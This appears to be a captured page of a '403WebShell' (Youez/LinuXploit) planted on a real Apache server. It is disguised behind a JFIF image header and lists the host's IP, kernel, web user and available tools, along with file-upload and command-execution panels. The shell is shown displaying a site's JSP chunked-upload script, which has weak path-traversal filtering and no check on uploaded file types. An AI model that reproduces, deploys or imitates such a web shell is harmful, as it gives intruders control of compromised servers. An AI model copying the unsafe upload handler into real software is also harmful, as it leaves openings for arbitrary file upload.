????JFIF??x?x????'403WebShell
403Webshell
Server IP : 79.136.114.73  /  Your IP : 18.217.150.104
Web Server : Apache/2.4.7 (Ubuntu) PHP/5.5.9-1ubuntu4.29 OpenSSL/1.0.1f
System : Linux b8009 3.13.0-170-generic #220-Ubuntu SMP Thu May 9 12:40:49 UTC 2019 x86_64
User : www-data ( 33)
PHP Version : 5.5.9-1ubuntu4.29
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/icad.astacus.se/project/universal_old/FileProcessingScripts/JSP/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/icad.astacus.se/project/universal_old/FileProcessingScripts/JSP/uploadfiles.jsp
  <%--
	This script's using Apache Commons Fileupload library (which require Apache Commons IO)
	to parse request, they can be downloaded from:
	commons-io: http://commons.apache.org/downloads/download_io.cgi
	commons-fileupload: http://commons.apache.org/downloads/download_fileupload.cgi
	
	See documentation of your web server to get an information about where you should place this libraries. 
	Ex. TomCat:
	"For classes and resources specific to a particular web application, place unpacked classes and resources
	under /WEB-INF/classes of your web application archive, or place JAR files containing those classes and resources
	under /WEB-INF/lib of your web application archive."
	--%>

  <%--
	Include required libraries and java classes:
  --%>
  <%@ page import="org.apache.commons.fileupload.servlet.ServletFileUpload" %>
  <%@ page import="org.apache.commons.fileupload.FileItem" %>
  <%@ page import="org.apache.commons.fileupload.disk.DiskFileItemFactory" %>
  <%@ page import="java.util.List" %>
  <%@ page import="java.util.Iterator"  %>
  <%@ page import="java.io.File" %>  
  <%@ page import="java.io.IOException" %>
  <%@ page import="java.io.PrintWriter"%>

 
  <%@ page import="java.io.InputStream" %>  
  <%@ page import="java.io.OutputStream" %> 
  <%@ page import="java.net.URLDecoder" %>
  <%@ page import="java.io.FileOutputStream" %>
  <%@ page import="java.io.FileInputStream" %>
  <%!
	String openTag = "";
	String closeTag = "";
	InputStream ips = null;
	FileOutputStream fos = null;
  %>
  <%!
	/**
	*	Use this handler to perform post upload actions
	*	$fileName contain only name of uploaded file
	*	$filePath conatin full path to uploaded file on your server
	*/
	void uploadCompleteHandler(String fileName, String filePath)
	{
	
	}
  %>
  
  <%
	
	/*
	//Uncomment this block of code to enable cross domain scripting (if files uploaded from another domain).
	response.setHeader("Access-Control-Allow-Origin","*");
	if(request.getMethod().toLowerCase().equals("options"))	
	{
		response.setHeader("Access-Control-Allow-Methods","GET, POST, OPTIONS");
		response.setHeader("Access-Control-Allow-Headers",request.getHeader("Access-Control-Request-Headers"));
		return;
	}
	*/
	
	//destination folder for uploaded files
	String uploadDir = application.getRealPath(request.getServletPath());
	uploadDir = (new java.io.File(uploadDir)).getParent()+"\\UploadedFiles\\";
	
	
	
	//First part is for regulart multipart upload mode.
	if (IsNullOrEmpty(GetFieldValue("chunkedUpload", request, null)))
	{
		ServletFileUpload servletFileUpload = new ServletFileUpload(new DiskFileItemFactory());
		
		try {
			List fileItemsList = servletFileUpload.parseRequest(request);
			String fileName = IsNullOrEmpty(GetFieldValue("FileName", request, fileItemsList)) ? GetFieldValue("fileName", request, fileItemsList) : GetFieldValue("FileName", request, fileItemsList);
			Iterator it = fileItemsList.iterator();			
			while (it.hasNext())
			{
				FileItem fileItem = (FileItem)it.next();
				
				if (!fileItem.isFormField())
				{
					if(IsNullOrEmpty(fileName))
						fileName = fileItem.getName();
					fileItem.write(new File( uploadDir+"\\"+(new File(fileName).getName())));
					out.println("File "+fileName+" was successfully uploaded.");
					uploadCompleteHandler(fileName, uploadDir+"\\"+(new File(fileName).getName()));
				}
			}
		
		}
		catch (Exception ex) {			
			out.println(ex.getMessage());
		}

	}
	//Second part is for chunked upload mode
	else
	{
		ServletFileUpload servletFileUpload = null;
		List fileItemsList = null;
		try{
			servletFileUpload = new ServletFileUpload(new DiskFileItemFactory());
			fileItemsList = servletFileUpload.parseRequest(request);
		}
		catch(Exception e)
		{
		}	
		
		
		//Used only by JavaPowUpload. determines that empty folder should be created
		boolean isEmptyFolder = !IsNullOrEmpty(GetFieldValue("isEmptyFolder", request, fileItemsList));	
		//type of upload which send request. Each uploader acts individually
		String uploaderType = !IsNullOrEmpty(GetFieldValue("uploaderType", request, fileItemsList)) ? GetFieldValue("uploaderType", request, fileItemsList).toLowerCase() : "html5";
		if(!IsNullOrEmpty(uploaderType) && uploaderType.equals("drag-and-drop"))
			uploaderType = "html5";
		//Size of uploaded file
		long fileSize = 0L;
		if(!IsNullOrEmpty(GetFieldValue("totalSize", request, fileItemsList)))
			fileSize = Long.parseLong(GetFieldValue("totalSize", request, fileItemsList));
		if(!IsNullOrEmpty(GetFieldValue("FileSize", request, fileItemsList)))
			fileSize = Long.parseLong(GetFieldValue("FileSize", request, fileItemsList));
		if(!IsNullOrEmpty(GetFieldValue("fileSize", request, fileItemsList)))
			fileSize = Long.parseLong(GetFieldValue("fileSize", request, fileItemsList));
		//out.println("1 fileSize "+fileSize);
		//unique file identifier
		String uniqueID = !IsNullOrEmpty(GetFieldValue("FileId", request, fileItemsList)) ? GetFieldValue("FileId", request, fileItemsList) : "";	
		if(!IsNullOrEmpty(GetFieldValue("fid", request, fileItemsList)))
			uniqueID = GetFieldValue("fid", request, fileItemsList);	

		//Determines if request sent with multiupart encoding 	
		boolean isMultiPart = false;
		if(!IsNullOrEmpty(GetFieldValue("isMultiPart", request, fileItemsList)))
			isMultiPart = Boolean.parseBoolean(GetFieldValue("isMultiPart", request, fileItemsList));
		//Filename  may be passed in in parameters with different names. 
		String fileName = IsNullOrEmpty(GetFieldValue("FileName", request, fileItemsList)) ? GetFieldValue("fileName", request, fileItemsList) : GetFieldValue("FileName", request, fileItemsList);
		//Comment and tag fields sent by Silverlight uploader and can be omited here
		String fileComment = GetFieldValue("Comment", request, fileItemsList);
		String tag = GetFieldValue("Tag", request, fileItemsList);
		
		fileName = fileName != null ? URLDecoder.decode(fileName, "utf8").replace("..\\", "") : "";		
		if(IsNullOrEmpty(fileName))		
			return;
			

		//Determines if current request is last or not. Sent by HTML5 and Silverlight uploaders 
		boolean complete = false; 
		if(!IsNullOrEmpty(GetFieldValue("Complete", request, fileItemsList))) 
			complete = Boolean.parseBoolean(GetFieldValue("Complete", request, fileItemsList));
	
		//Determines whether uploader ask for current file size or not
		boolean querySize = false; 
		if(!IsNullOrEmpty(GetFieldValue("QuerySize", request, fileItemsList)))
			querySize = Boolean.parseBoolean(GetFieldValue("QuerySize", request, fileItemsList));
		if(!IsNullOrEmpty(GetFieldValue("action", request, fileItemsList)))//$uploaderType != "silverlight" && $uploaderType != "html5")	
			querySize = GetFieldValue("action", request, fileItemsList).equalsIgnoreCase("check");	
	
		//Start byte - byte from whiich we should start write data into file. Sent by Silverlight uploader
		long startByte = 0;
		if(!IsNullOrEmpty(GetFieldValue("StartByte", request, fileItemsList)))
			startByte = Long.parseLong(GetFieldValue("StartByte", request, fileItemsList)); 
	
		/*For Java and Flash based uploaders we should return special xml structure in response */
		if(uploaderType.equals("java"))
		{
			openTag = "<javapowupload>";
			closeTag = "</javapowupload>";
		}
		else if(uploaderType.equals("flash"))
		{
			openTag = "<multipowupload>";
			closeTag = "</multipowupload>";
		}			
		
		//out.println(tmpFile+"<br>");
		out.println(openTag);
		
		//Set your destination directory in variable below		
		String tmpFile = uploadDir + uniqueID + fileName;
		File f = new File(tmpFile); 
				
		
		if (querySize) {			
			if (!f.exists())
				WriteOk("0", uploaderType, out);
			else
				WriteOk(Long.toString(f.length()), uploaderType, out);			
		} 
		else  
		{
			
			try{
				//WriteError("isMultiPart "+isMultiPart, uploaderType, out);
				if (isMultiPart)
				{
					
					Iterator it = fileItemsList.iterator();					
					if(!ServletFileUpload.isMultipartContent(request))
					{
						WriteError("Content expected to be multipart, but it is not.", uploaderType, out);
						return;
					}
					if (!it.hasNext())
					{
						WriteError("No chunks to save (multipart) .", uploaderType, out);
						return;
					}
					while (it.hasNext())
					{
						FileItem fileItem = (FileItem)it.next();
						if (!fileItem.isFormField())						
							ips = fileItem.getInputStream();						
					}					
					//WriteError("fileItem "+fileItem.getName(), uploaderType, out);
					if(ips == null)
						WriteError("No chunks to save (multipart) .", uploaderType, out);
					
					
				}
				else			
					ips = request.getInputStream();
				if(ips != null)
					ips.skip(0);

				
				// open the temp file for writing (appending if already exists)					
				FileOutputStream fos = new FileOutputStream(f, f.exists());
				
				// write the content of the inputstream into the file
				SaveFile(ips, fos);				
				
				fos.flush();
				fos.close();
				f = new File(tmpFile);				
				if(!uploaderType.equals("silverlight") && !uploaderType.equals("html5"))		
						complete = (fileSize > 0 && !querySize) ? f.length() >= fileSize : false;
				
				// check if the file is already complete. If so, rename temp file
				if (complete) 
				{	
					File dst = new File( uploadDir + "\\"+ fileName);
					if(dst.exists())
						dst.delete();
					//move temp file to destination				
					f.renameTo(new File( uploadDir + "\\"+ fileName));		
					WriteResponse("File " + fileName + " was successfully uploaded.", uploaderType, out);					
					uploadCompleteHandler(fileName, uploadDir + "\\"+ fileName);
				}
				WriteOk("", uploaderType, out);
			}
			catch(Exception e)
			{
				e.printStackTrace(new java.io.PrintWriter(out));
				WriteError("exception in chunked "+e.getMessage(), uploaderType, out);
			}
			finally
			{
				if(fos != null)
					fos.close();
				if(ips != null)
					ips.close();
			}
		}
		out.println(closeTag);
		out.flush();	
  	}
%>
<%!
	void SaveFile(InputStream stream, OutputStream fs)
	throws IOException
    {
        byte[] buffer = new byte[40960];
		int bytesRead;
		while ((bytesRead = stream.read(buffer)) != -1)
			fs.write(buffer, 0, bytesRead);
    }	
	
	//Get value of field from query string parameters or from form
	String GetFieldValue(String fieldName, HttpServletRequest request, List fileItemsList)
	{
		if(fileItemsList != null)
		{
			Iterator it = fileItemsList.iterator();
			while (it.hasNext())
			{
				FileItem fileItem = (FileItem)it.next();
				if (fileItem.isFormField() && fileItem.getFieldName().equals(fieldName))						
					return 	fileItem.getString();				
			}
		}		
		if(!IsNullOrEmpty(request.getParameter(fieldName)))
			return request.getParameter(fieldName);
		/*if(!IsNullOrEmpty(Request.Form[fieldName]))
			return Request.Form[fieldName];*/
		return null;
	}
	
	//Write error to response stream
	void WriteError(String errstr, String uploader, JspWriter out)
	throws IOException
	{		 
		if(uploader.equalsIgnoreCase("silverlight") || uploader.equalsIgnoreCase("html5"))
			out.println("Error: "+errstr);
		else
		{
			out.println("<error message=\""+errstr+"\"/>");	
			out.println(closeTag);	
		}		
		out.flush();
	}

	//Write OK to response stream
	void WriteOk(String size, String uploader, JspWriter out)
	throws IOException
	{
		if(uploader.equalsIgnoreCase("silverlight") || uploader.equalsIgnoreCase("html5"))
			out.println(size);
		else
			if(!IsNullOrEmpty(size))
				out.println("<ok size='"+size+"'/>");
			else 
				out.println("<ok/>");
	}

	//Write response to response stream
	void WriteResponse(String response, String uploader, JspWriter out)
	throws IOException
	{
		if(uploader.equalsIgnoreCase("silverlight") || uploader.equalsIgnoreCase("html5"))
			out.println(response);
		else			
			out.println("<response> "+response+"</response>");
	}
	
	boolean IsNullOrEmpty(String str)
	{
		return str == null || "".equalsIgnoreCase(str);
	}


  %>

Youez - 2016 - github.com/yon3zu
LinuXploit